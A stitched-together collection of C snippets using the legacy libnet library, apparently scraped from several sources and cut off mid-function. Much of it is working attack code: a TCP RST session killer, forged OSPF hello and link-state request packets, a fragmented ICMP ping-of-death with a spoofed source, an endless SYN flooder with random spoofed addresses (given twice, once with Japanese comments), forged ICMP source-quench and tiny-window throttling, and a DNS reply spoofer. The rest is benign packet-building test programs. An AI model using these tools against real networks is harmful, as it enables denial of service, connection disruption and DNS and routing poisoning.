void nids_killtcp_seq(struct tcp_stream *a_tcp, int seqoff) { char buf[IP_H + TCP_H]; if (libnetsock == 0) return; libnet_build_ip(TCP_H, 0, 12345, 0, 64, IPPROTO_TCP, a_tcp->addr.saddr, a_tcp->addr.daddr, 0, 0, buf); libnet_build_tcp(a_tcp->addr.source, a_tcp->addr.dest, a_tcp->client.first_data_seq + a_tcp->server.count + a_tcp->server.urg_count + (seqoff?(a_tcp->server.window/2):0), 0, 0x4, 32000, 0, 0, 0, buf + IP_H); libnet_do_checksum(buf, IPPROTO_TCP, TCP_H); libnet_write_ip(libnetsock, buf, TCP_H + IP_H); libnet_build_ip(TCP_H, 0, 12345, 0, 64, IPPROTO_TCP, a_tcp->addr.daddr, a_tcp->addr.saddr, 0, 0, buf); libnet_build_tcp(a_tcp->addr.dest, a_tcp->addr.source, a_tcp->server.first_data_seq + a_tcp->client.count + a_tcp->client.urg_count + (seqoff?(a_tcp->client.window/2):0), 0, 0x4, 32000, 0, 0, 0, buf + IP_H); libnet_do_checksum(buf, IPPROTO_TCP, TCP_H); libnet_write_ip(libnetsock, buf, TCP_H + IP_H); }
int main(int argc, char **argv) { int sock, warn, len; u_char *pack, *to, *from, *neighbor; u_long src, dst, addaid, addrid, nbr, auth[2]; if (argc != 4) help(argv[0]); from = argv[1]; to = argv[2]; neighbor = argv[3]; len = LIBNET_OSPF_H + LIBNET_HELLO_H + LIBNET_IP_H + LIBNET_AUTH_H; pack = (u_char *)malloc(len); sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("socket"); free(pack); exit(-1); } src = libnet_name_resolve(from, 0); dst = libnet_name_resolve(to, 0); nbr = libnet_name_resolve(neighbor, 0); addrid = 0x23696969; addaid = 0xc0ffee00; /* GENERIC : FAKE : ETC */ libnet_build_ip(LIBNET_OSPF_H + LIBNET_AUTH_H + LIBNET_HELLO_H, 0x00, 101, IP_DF, 254, IPPROTO_OSPF, src, dst, NULL, 0, pack); auth[0] = 0; auth[1] = 0; libnet_build_ospf(LIBNET_HELLO_H + LIBNET_AUTH_H, LIBNET_OSPF_HELLO, addrid, addaid, LIBNET_OSPF_AUTH_NULL, NULL, 0, pack + LIBNET_IP_H); LIBNET_OSPF_AUTHCPY(pack + LIBNET_IP_H + LIBNET_OSPF_H, auth); libnet_build_ospf_hello(0xffffffff, 2, 0x00, 0x00, 30, src, src, nbr, NULL, 0, pack + LIBNET_IP_H + LIBNET_OSPF_H + LIBNET_AUTH_H); libnet_do_checksum(pack, IPPROTO_OSPF, len); warn = libnet_write_ip(sock, pack, len); if (warn != len) { printf("Error sending: %d bytes written : %s\n", warn, strerror(errno)); free(pack); exit(warn); } else { printf("%d bytes written\n", warn); } free(pack); return (0); }
int main(int argc, char **argv) { int warn, sock, len; u_char *pack; char *from, *to, *adrtr; u_long src, dest, advrouter, addaid, addrid; u_char auth[2]; if (argc != 4) help(argv[0]); from = argv[1]; to = argv[2]; adrtr = argv[3]; sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("socket"); exit(-1); } src = libnet_name_resolve(from, 0); dest = libnet_name_resolve(to, 0); advrouter = libnet_name_resolve(adrtr, 0); addaid = 0xc0ffeeb0; addrid = 0xb00f00d0; len = LIBNET_IP_H + LIBNET_OSPF_H + LIBNET_AUTH_H + LIBNET_LSR_H; pack = (u_char *)malloc(len); libnet_build_ip(LIBNET_OSPF_H + LIBNET_AUTH_H + LIBNET_LSR_H, 0x00, (u_short)rand(), IP_DF, 0xff, IPPROTO_OSPF, src, dest, NULL, 0, pack); memset(auth, 0, sizeof(auth)); libnet_build_ospf(LIBNET_AUTH_H + LIBNET_LSR_H, LIBNET_OSPF_LSR, addrid, addaid, LIBNET_OSPF_AUTH_NULL, NULL, 0, pack + LIBNET_IP_H); LIBNET_OSPF_AUTHCPY(pack + LIBNET_IP_H + LIBNET_OSPF_H, auth); libnet_build_ospf_lsr(LIBNET_LS_TYPE_RTR, 0xffffffff, advrouter, NULL, 0, pack + LIBNET_IP_H + LIBNET_OSPF_H + LIBNET_AUTH_H); libnet_do_checksum(pack, IPPROTO_OSPF, len); warn = libnet_write_ip(sock, pack, len); if (warn == -1) { printf("Error writing packet to wire\n"); free(pack); } else { printf("%d bytes written\n", warn); } free(pack); return (0); }
int main (int argc, char **argv) { unsigned long fakesrc, target; unsigned char *buf; unsigned char *data; int sock, i, flags, offset, len; if (argc != 2 || !(target = libnet_name_resolve(argv[1], 1))) { fprintf(stderr, "Usage: %s <target>\n", argv[0]); exit(1); } if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1) { perror("raw sock"); exit(1); } /* get random src addr. */ libnet_seed_prand(); fakesrc = libnet_get_prand(LIBNET_PRu32); buf = malloc(LIBNET_IP_H + LIBNET_ICMP_ECHO_H); data = (unsigned char *)malloc(FRAG_LEN); for (i = 0 ; i < 65536 ; i += (LIBNET_ICMP_ECHO_H + FRAG_LEN)) { offset = i; flags = 0; if (offset < 65120) { flags = IP_MF; len = FRAG_LEN; } else len = 410; /* for total reconstructed len of 65538 */ /* make IP header. */ libnet_build_ip(LIBNET_ICMP_ECHO_H + len, 0, 666, flags | (offset >> 3), 64, IPPROTO_ICMP, fakesrc, target, NULL, 0, buf); /* make ICMP packet. */ libnet_build_icmp_echo(8, 0, 666, 666, data, len, buf + LIBNET_IP_H); /* calculate ICMP checksum. */ libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_ECHO_H + len); /* send it. */ libnet_write_ip(sock, buf, LIBNET_IP_H + LIBNET_ICMP_ECHO_H + len); /* tcpdump-style jonks. */ printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_host_lookup(fakesrc,0), argv[1], LIBNET_ICMP_ECHO_H + len, offset, flags ? "+" : ""); } free(buf); return (EXIT_SUCCESS); }
int main(int argc,char *argv[]) { char a; int sock,r; u_long src; u_long dst; char pktbuf[IP_MAXPACKET]; char payload[]="ABCDEFGHIJKLMNOPRST"; u_char options[4]; struct ipoption ipopt; bzero(options,OPT_LEN); while((a=getopt(argc,argv,"d:s:h?"))!=EOF) { switch(a) { case 'h' : { usage(); exit(1); } case 's' : { src=libnet_name_resolve(optarg,0); break;} case 'd' : { dst=libnet_name_resolve(optarg,0); break;} } } sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock<0) { perror("socket"); exit(1); } libnet_build_ip(strlen(payload),0,0x1337,0,255,0xaa,src,dst,payload,strlen(payload),pktbuf); memcpy(ipopt.ipopt_list, options, OPT_LEN); *(ipopt.ipopt_list) = 0xe4; *(ipopt.ipopt_list+1) = 0; *(ipopt.ipopt_list+1) = 0; *(ipopt.ipopt_list+1) = 0; r=libnet_insert_ipo(&ipopt,OPT_LEN,pktbuf); if (r <0) { libnet_close_raw_sock(sock); printf("Error ip options insertion failed\n"); exit(1); } r=libnet_write_ip(sock,pktbuf,LIBNET_IP_H+OPT_LEN+strlen(payload)); if (r<0) { libnet_close_raw_sock(sock); printf("Error write_ip \n"); exit(1); } libnet_close_raw_sock(sock); return 0; }
int main(int argc, char **argv) { int sock, n, c, r, p_num; struct libnet_arena arena, *arena_p; u_char *packets[10]; u_char *payload; u_char *buf; u_long src_ip, dst_ip; src_ip = 0; dst_ip = 0; payload = NULL; while((c = getopt(argc, argv, "d:s:p:")) != EOF) { switch (c) { case 'd': if (!(dst_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if (!(src_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(-1); } break; case 'p': payload = optarg; break; default: usage(); exit(-1); } } if (!src_ip || !dst_ip || !payload) { usage(); exit(-1); } /* allocate packet memory */ buf = (u_char *)malloc(LIBNET_IP_H + LIBNET_ICMP_H + strlen(payload)); if(!buf) { perror("malloc:"); exit(-1); } sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("No socket"); exit(-1); } /* build headers */ libnet_build_ip(LIBNET_ICMP_ECHO_H, IPTOS_LOWDELAY | IPTOS_THROUGHPUT, TPING_ID, 0, TPING_TTL, IPPROTO_ICMP, src_ip, dst_ip, NULL, 0, buf); libnet_build_icmp_echo(ICMP_ECHO, 0, TPING_ID, 1, payload,strlen(payload), buf + LIBNET_IP_H); if (libnet_do_checksum(buf, IPPROTO_ICMP, LIBNET_ICMP_ECHO_H) < 0) { fprintf(stderr, "Can't do checksum!\n"); } /* * Write the packet to the network. */ r = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + strlen(payload)); if (r < LIBNET_ICMP_ECHO_H + LIBNET_IP_H + strlen(payload)) { fprintf(stderr, "Unable to send packet.\n"); } printf("ICMP Echo sent. Payload: %s\n",payload); }
int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("Usage:\n%s\t <target host> <target port>\n", argv[0]); exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // the host dest_port = (u_short) atoi(argv[2]); // the port network = libnet_open_raw_sock(IPPROTO_RAW); // open network interface if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // allocate memory for packet if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // seed the random number generator printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // loop forever (until break by CTRL-C) { libnet_build_ip(LIBNET_TCP_H, // size of the packet sans IP header IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID (randomized) 0, // frag stuff libnet_get_prand(LIBNET_PR8), // TTL (randomized) IPPROTO_TCP, // transport protocol libnet_get_prand(LIBNET_PRu32), // source IP (randomized) dest_ip, // destination IP NULL, // payload (none) 0, // payload length packet); // packet header memory libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // source TCP port (random) dest_port, // destination TCP port libnet_get_prand(LIBNET_PRu32), // sequence number (randomized) libnet_get_prand(LIBNET_PRu32), // acknowledgement number (randomized) TH_SYN, // control flags (SYN flag set only) libnet_get_prand(LIBNET_PRu16), // window size (randomized) 0, // urgent pointer NULL, // payload (none) 0, // payload length packet + LIBNET_IP_H); // packet header memory if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // inject packet if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // wait for FLOOD_DELAY milliseconds } libnet_destroy_packet(&packet); // free packet memory if (libnet_close_raw_sock(network) == -1) // close the network interface libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }
int main(int argc, char **argv) { int sock, c; u_long src_ip, dst_ip; u_short src_prt, dst_prt; u_char *cp, *buf; printf("UDP packet building/writing test\n"); src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then seperate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if (!(dst_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if (!(src_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } buf = malloc(LIBNET_UDP_H + LIBNET_IP_H); if (!buf) { perror("No memory for packet header"); exit(EXIT_FAILURE); } sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("No socket"); exit(EXIT_FAILURE); } libnet_build_ip(LIBNET_UDP_H, 0, 242, 0, 64, IPPROTO_UDP, src_ip, dst_ip, NULL, 0, buf); libnet_build_udp(src_prt, dst_prt, NULL, 0, buf + LIBNET_IP_H); libnet_do_checksum(buf, IPPROTO_UDP, LIBNET_UDP_H); c = libnet_write_ip(sock, buf, LIBNET_UDP_H + LIBNET_IP_H); if (c < LIBNET_UDP_H + LIBNET_IP_H) { fprintf(stderr, "libnet_write_ip\n"); } printf("Completed, wrote %d bytes\n", c); free(buf); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
int main(int argc, char **argv) { int sock, c; u_long src_ip, dst_ip; u_short src_prt, dst_prt; u_char *cp, *buf; u_char *payload = "hello world"; u_char *options = " This here is a 40-byte IP option list."; int payload_s = strlen(payload); int option_s = strlen(options); struct ipoption ipopt; src_ip = 0; dst_ip = 0; src_prt = 0; dst_prt = 0; printf("IP + options and TCP + payload packet building/writing test\n"); while((c = getopt(argc, argv, "d:s:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then seperate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; dst_prt = (u_short)atoi(cp); if (!(dst_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if (!(cp = strrchr(optarg, '.'))) { usage(argv[0]); } *cp++ = 0; src_prt = (u_short)atoi(cp); if (!(src_ip = libnet_name_resolve(optarg, 1))) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; } } if (!src_ip || !src_prt || !dst_ip || !dst_prt) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Get packet memory. Let's get plenty. */ buf = malloc(IP_MAXPACKET); if (!buf) { perror("No memory for packet"); exit(EXIT_FAILURE); } /* * Open our raw IP socket and set IP_HDRINCL. */ sock = libnet_open_raw_sock(IPPROTO_RAW); if (sock == -1) { perror("No socket"); exit(EXIT_FAILURE); } /* * Build the IP header (shown exploded for commenting). */ libnet_build_ip(LIBNET_TCP_H + payload_s,/* Size of the payload */ 0, /* IP tos */ 242, /* IP ID */ 0, /* Frag stuff */ 48, /* TTL */ IPPROTO_TCP, /* Transport protocol */ src_ip, /* Source IP */ dst_ip, /* Destination IP */ NULL, /* Pointer to payload (none) */ 0, buf); /* Packet header memory */ /* * Build the TCP header. */ libnet_build_tcp(src_prt, /* Source TCP port */ dst_prt, /* Destination TCP port */ 11111, /* Sequence number */ 99999, /* Acknowledgement number */ TH_SYN|TH_ACK, /* Control flags */ 1024, /* Window size */ 0, /* Urgent pointer */ payload, /* Pointer to payload */ payload_s, buf + LIBNET_IP_H); /* Packet header memory */ /* * Calculate the TCP header checksum (IP header checksum is *always* done * by the kernel. */ libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H + payload_s); memcpy(ipopt.ipopt_list, options, option_s); *(ipopt.ipopt_list) = IPOPT_SECURITY; *(ipopt.ipopt_list + 1) = 1; /* * Insert the IP options. */ c = libnet_insert_ipo(&ipopt, /* pointer to ipopt struct */ option_s, /* Length of option list */ buf); /* Packet header memory */ if (c == -1) { fprintf(stderr, "Can't add options, discarding them.\n"); } /* * Write the packet to the network. */ c = libnet_write_ip(sock, buf, LIBNET_TCP_H + LIBNET_IP_H + payload_s + option_s); if (c < LIBNET_TCP_H + LIBNET_IP_H + payload_s + option_s) { fprintf(stderr, "libnet_write_ip: %s\n", strerror(errno)); } printf("Completed, wrote %d bytes\n", c); free(buf); return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS); }
/* * injection_write_ip * * Description: * - Write an IP packet into the wire. It can use either raw sockets * or the wire * * Inputs: * - ip_packet: the IP packet * * Outputs: * - return: 0 if ok, <0 if there were problems * */ int injection_write_ip (u_char *ip_packet) { #if defined(INJECT_USING_RAW_SOCKETS) || defined(INJECT_USING_LINK_LAYER) int i; u_int16_t packet_size = ntohs(*(u_int16_t*)(ip_packet+2)); #endif #if defined(INJECT_USING_RAW_SOCKETS) int network; /* network initialization */ if ((network = libnet_open_raw_sock(IPPROTO_RAW)) < 0) { return WIRE_ERR_PKTD_INJECTION_OPEN; /* packet injection */ } else if ((i = libnet_write_ip (network, ip_packet, packet_size)) < packet_size) { return WIRE_ERR_PKTD_INJECTION_WRITE_IP; /* shut down the interface */ } else if (libnet_close_raw_sock (network) < 0) { return WIRE_ERR_PKTD_INJECTION_CLOSE; } return WIRE_ERR_NONE; #elif defined(INJECT_USING_LINK_LAYER) char buffer[LIBNET_ETH_H+IP_MAXPACKET]; struct in_addr in; int size = 1024; struct libnet_link_int *network; /* pointer to link interface struct */ char *interface = NULL; /* pointer to the device to use */ struct sockaddr_in sin; char errbuf[1024]; struct ether_addr remote_eth, *tmp_eth; /* network initialization */ if (libnet_select_device(&sin, &interface, errbuf) == -1) { return WIRE_ERR_PKTD_NO_WRITE_DEVICE_ACCESS; } if ((network = libnet_open_link_interface(interface, errbuf)) == NULL) { return WIRE_ERR_PKTD_INJECTION_OPEN; } /* get local ethernet address */ if ((tmp_eth = libnet_get_hwaddr(network, interface, errbuf)) == NULL) { (void)libnet_close_link_interface(network); return WIRE_ERR_PKTD_INJECTION_OPEN; } memcpy (&local_eth, tmp_eth, 6); debug3 ("injection_write_ip: the local ethernet address is %s\n", ether_ntoa(&local_eth)); /* get remote ethernet address (the packet is already in network order) */ in.s_addr = *(u_int32_t*)(ip_packet+16); /* try to get the remote MAC address from the ARP cache */ if (get_mac_address (in, buffer, size) < 0) { /* MAC address of the IP address not in ARP cache */ /* get the gateway needed to reach the destination */ struct in_addr gw; if (get_gateway (in, &gw) < 0) { debug3 ("injection_write_ip: can't find MAC nor gateway for %s\n", inet_ntoa(in)); (void)libnet_close_link_interface(network); return WIRE_ERR_PKTD_INJECTION_WRITE_IP; } /* get the gateway's ethernet address */ if (get_mac_address (gw, buffer, size) < 0) { debug3 ("injection_write_ip: can't find MAC for %s's ", inet_ntoa(in)); debug3 ("gateway (%s)\n", inet_ntoa(gw)); /* XXX: This case means typically the destination host is in * the same network than the source, but the destination MAC * address is not in the local ARP cache. Getting a local * MAC address requires implementing ARP, which we won't do * at this moment */ (void)libnet_close_link_interface(network); return WIRE_ERR_PKTD_INJECTION_WRITE_IP; } debug3 ("injection_write_ip: IP address %s can be reached ", inet_ntoa(in)); debug3 ("through gateway %s (%s)\n", inet_ntoa(gw), buffer); } else { debug3 ("injection_write_ip: IP address %s corresponds to %s\n", inet_ntoa(in), buffer); } if ((tmp_eth = ether_aton (buffer)) == NULL) { (void)libnet_close_link_interface(network); return WIRE_ERR_PKTD_INJECTION_WRITE_IP; } memcpy (&remote_eth, tmp_eth, 6); /* build ethernet header and use IP packet as payload */ #if (defined(bsdi) || defined(__NetBSD__) || defined(__OpenBSD__) ||\ defined(__FreeBSD__)) libnet_build_ethernet(&(remote_eth.octet[0]), &(local_eth.octet[0]), ETHERTYPE_IP, NULL, 0, buffer); #else libnet_build_ethernet(&(remote_eth.ether_addr_octet[0]), &(local_eth.ether_addr_octet[0]), ETHERTYPE_IP, NULL, 0, buffer); #endif memcpy (buffer+LIBNET_ETH_H, ip_packet, packet_size); packet_size += LIBNET_ETH_H; /* inject the packet */ if ((i = libnet_write_link_layer (network, interface, buffer, packet_size)) < packet_size) { (void)libnet_close_link_interface(network); return WIRE_ERR_PKTD_INJECTION_WRITE_IP; } /* shut down the interface */ (void)libnet_close_link_interface(network); return WIRE_ERR_NONE; #else /* INJECT_USING_LINK_LAYER */ return(0); #endif /* INJECT_USING_LINK_LAYER */ }
int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("使用方法:\n%s\t <対象ホスト> <対象ポート>\n", argv[0]); exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // ホスト dest_port = (u_short) atoi(argv[2]); // ポート番号 network = libnet_open_raw_sock(IPPROTO_RAW); // ネットワークインタフェースをオープンする if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // パケット用のメモリを割り当てる if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // 乱数生成器に種を与える printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // 永久ループ(CTRL-Cで終了されるまで) { libnet_build_ip(LIBNET_TCP_H, // IPヘッダを除いたパケットのサイズ IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID(乱数化) 0, // 断片化 libnet_get_prand(LIBNET_PR8), // TTL (乱数化) IPPROTO_TCP, // トランスポートプロトコル libnet_get_prand(LIBNET_PRu32), // 送信元IP (乱数化) dest_ip, // 宛先IP NULL, // ペイロード(なし) 0, // ペイロード長 packet); // パケットヘッダメモリ libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // 送信元TCPポート (乱数化) dest_port, // 宛先TCPポート libnet_get_prand(LIBNET_PRu32), // シーケンス番号 (乱数化) libnet_get_prand(LIBNET_PRu32), // ACK番号 (乱数化) TH_SYN, // コントロールフラグ (SYNフラグのみ設定) libnet_get_prand(LIBNET_PRu16), // ウィンドウサイズ (乱数化) 0, // 至急ポインタ NULL, // ペイロード (なし) 0, // ペイロード長 packet + LIBNET_IP_H); // パケットヘッダメモリ if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // パケットを注入する if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // FLOOD_DELAYミリ秒待機する } libnet_destroy_packet(&packet); // パケットメモリを解放する if (libnet_close_raw_sock(network) == -1) // ネットワークインタフェースをクローズする libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }
void tcp_nice_loop(pcap_t *pd, int sock) { struct pcap_pkthdr pkthdr; struct libnet_ip_hdr *ip; struct libnet_tcp_hdr *tcp; struct libnet_icmp_hdr *icmp; u_char *pkt, buf[IP_H + ICMP_ECHO_H + 128]; int len, nice; libnet_seed_prand(); nice = 160 / Opt_nice; for (;;) { if ((pkt = (char *)pcap_next(pd, &pkthdr)) != NULL) { ip = (struct libnet_ip_hdr *)(pkt + pcap_off); if (ip->ip_p != IPPROTO_TCP) continue; tcp = (struct libnet_tcp_hdr *) ((u_char *)ip + (ip->ip_hl * 4)); if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST) || ntohs(tcp->th_win) == nice) continue; if (Opt_icmp) { /* Send ICMP source quench. */ len = (ip->ip_hl * 4) + 8; libnet_build_ip(ICMP_ECHO_H + len, 0, libnet_get_prand(PRu16), 0, 64, IPPROTO_ICMP, ip->ip_dst.s_addr, ip->ip_src.s_addr, NULL, 0, buf); icmp = (struct libnet_icmp_hdr *)(buf + IP_H); icmp->icmp_type = 4; icmp->icmp_code = 0; memcpy((u_char *)icmp + ICMP_ECHO_H, (u_char *)ip, len); libnet_do_checksum(buf, IPPROTO_ICMP, ICMP_ECHO_H + len); len += (IP_H + ICMP_ECHO_H); if (libnet_write_ip(sock, buf, len) != len) warn("write"); fprintf(stderr, "%s > %s: icmp: source quench\n", libnet_host_lookup(ip->ip_dst.s_addr, 0), libnet_host_lookup(ip->ip_src.s_addr, 0)); } /* Send tiny window advertisement. */ ip->ip_hl = 5; ip->ip_len = htons(IP_H + TCP_H); ip->ip_id = libnet_get_prand(PRu16); memcpy(buf, (u_char *)ip, IP_H); tcp->th_off = 5; tcp->th_win = htons(nice); memcpy(buf + IP_H, (u_char *)tcp, TCP_H); libnet_do_checksum(buf, IPPROTO_TCP, TCP_H); len = IP_H + TCP_H; if (libnet_write_ip(sock, buf, len) != len) warn("write"); fprintf(stderr, "%s:%d > %s:%d: . ack %u win %d\n", libnet_host_lookup(ip->ip_src.s_addr, 0), ntohs(tcp->th_sport), libnet_host_lookup(ip->ip_dst.s_addr, 0), ntohs(tcp->th_dport), ntohl(tcp->th_ack), nice); } } }
/****************************************************************************** * spoof_dns * * * * check some conditions, build the actual packet, and write the answer * * arg1: (int) socket to write on * * ret: none * ******************************************************************************/ void spoof_dns (int socket) { struct in_addr src, dst; /* used for printing addresses */ int written_bytes, /* number of bytes written */ packet_size, /* size of our packet */ i; /* misc */ u_char *packet; /* we build this */ /* * check the following conditions before spoofing * if any of these conditions are violated then no spoofing is done * - we only want to spoof packets from a nameserver * - we only want to spoof packets from questions of type A * - we only want to spoof packets if we have an answer */ if (ntohs(chewycenter.dst_port) != 53) { if (!sflag) { printf("\nignoring packet: destination not a nameserver"); printf("\n--"); } return; } if (!chewycenter.is_a) { if (!sflag) { printf("\nignoring packet: question is not of type A"); printf("\n--"); } return; } if (!chewycenter.have_answer) { if (!sflag) { printf("\nignoring packet: no answer for this question"); printf("\n--"); } return; } /* * if we're here it means we're ready to spoof an answer, lets reflect that * in the spoofed answers count */ num_spoofed_answers++; /* * packet memory allocation */ packet_size = chewycenter.payload_size + LIBNET_IP_H + LIBNET_UDP_H + LIBNET_DNS_H; libnet_init_packet(packet_size, &packet); if (packet == NULL) { libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n"); return; } /* * ip header construction * source and destination are swapped here because we are spoofing a reply */ libnet_build_ip(LIBNET_UDP_H + LIBNET_DNS_H, 0, /* ip tos */ 0, /* ip id */ 0, /* fragmentation bits */ 64, /* ttl */ IPPROTO_UDP, /* protocol */ chewycenter.dst_address, /* source address */ chewycenter.src_address, /* destination address */ NULL, /* payload */ 0, /* payload length */ packet); /* packet buffer */ /* * udp header construction * source and destination ports are swapped here too * * during debugging i found that we weren't generating the correct * length here, that is why a payload length is included (payload + dns_header) * although, from what i know, it really shouldn't be here */ libnet_build_udp(53, /* source port */ ntohs(chewycenter.src_port), /* destination port */ NULL, /* payload */ chewycenter.payload_size + 12, /* payload length */ packet + LIBNET_IP_H); /* * dns header construction */ libnet_build_dns(ntohs(chewycenter.dns_id), /* dns id */ 0x8580, /* control flags (QR,AA,RD,RA) */ 1, /* number of questions */ 1, /* number of answer RR's */ 0, /* number of authority RR's */ 0, /* number of additional RR's */ chewycenter.payload, /* payload */ chewycenter.payload_size, /* payload length */ packet + LIBNET_IP_H + LIBNET_UDP_H); /* * calculate checksum */ libnet_do_checksum (packet, IPPROTO_UDP, packet_size - LIBNET_IP_H); /* * write packet */ written_bytes = libnet_write_ip(socket, packet, packet_size); /* * make sure the number of written bytes jives with what we expect */ if (written_bytes < packet_size) { printf("\nwarning: "); libnet_error(LN_ERR_WARNING, "libnet only wrote %d of %d bytes", written_bytes, packet_size); printf("\n--"); } /* * we're done with this packet */ libnet_destroy_packet(&packet); /* * announce what we've just done * remember that we've swapped the addresses/ports */ src.s_addr = chewycenter.src_address; dst.s_addr = chewycenter.dst_address; printf("\nspoofing answer: %s:%d > ", inet_ntoa(dst), ntohs(chewycenter.dst_port)); printf("%s:%d", inet_ntoa(src), ntohs(chewycenter.src_port)); printf("\t[%s = %s]", chewycenter.current_question, chewycenter.current_answer); #if defined DEBUG printf("\nDEBUG>\n payload: [%d]", chewycenter.payload_size); for (i = 0; i < 52; i++) printf("%x ", chewycenter.payload[i]); printf("\n"); #endif printf("\n--"); if (oflag) { } }
int main(int argc, char *argv[]) { // packet type (arp/udp/tcp) char type[5]; // network device char *device = "eth0\0"; struct libnet_link_int *link; // Raw socket int sock; // error buffer char errbuff[LIBNET_ERRBUF_SIZE]; // src and dst mac u_char dmac[6],smac[6]; // src and dst ip unsigned int src_ip, dst_ip; // packet buffer unsigned char *packet; // packet payload char *payload; // payload size int p_size; // bytes send over the wire int send; // check parameter if(argc == 1) { printf("Usage: %s <arp/udp/tcp>\n",argv[0]); exit(0); } else { strcpy(type,argv[1]); } // Allocate memory for the payload payload = malloc(50); // Packets payload strcpy(payload,"TEST LIBNET\0"); packet = NULL; // payload size p_size = strlen(payload); // mac address strcpy(smac,SMAC); strcpy(dmac,DMAC); // ip address in network byte order src_ip = inet_addr(SOURCE); dst_ip = inet_addr(DEST); // Lookup ip addresses src_ip = libnet_name_resolve(libnet_host_lookup(src_ip,0),0); dst_ip = libnet_name_resolve(libnet_host_lookup(dst_ip,0),0); // Build an ARP packet? if(!strcmp(type,"arp")) { // open the network device link = libnet_open_link_interface(device,errbuff); // Failed? if(link == NULL) { printf("Error while opening device %s!\n%s\n",device,errbuff); exit(1); } printf("Using device %s\n",device); // Allocate memory for the packet if(libnet_init_packet(LIBNET_ETH_H+LIBNET_ARP_H+p_size,&packet) == -1) { printf("libnet_init_packet error!\n%s\n", strerror(errno)); exit(1); } if(packet == NULL) { printf("libnet_init_packet error!\n"); exit(1); } // Build ethernet header libnet_build_ethernet(dmac, // destination mac smac, // source mac ETHERTYPE_ARP,// ethernet packet type NULL, // pointer to payload 0, // payload size packet // pointer to packet buffer ); printf("Sending ARP reply packet %s --> %s\n",SOURCE,DEST); libnet_build_arp(ARPHRD_ETHER, // hardware type ETHERTYPE_IP, // 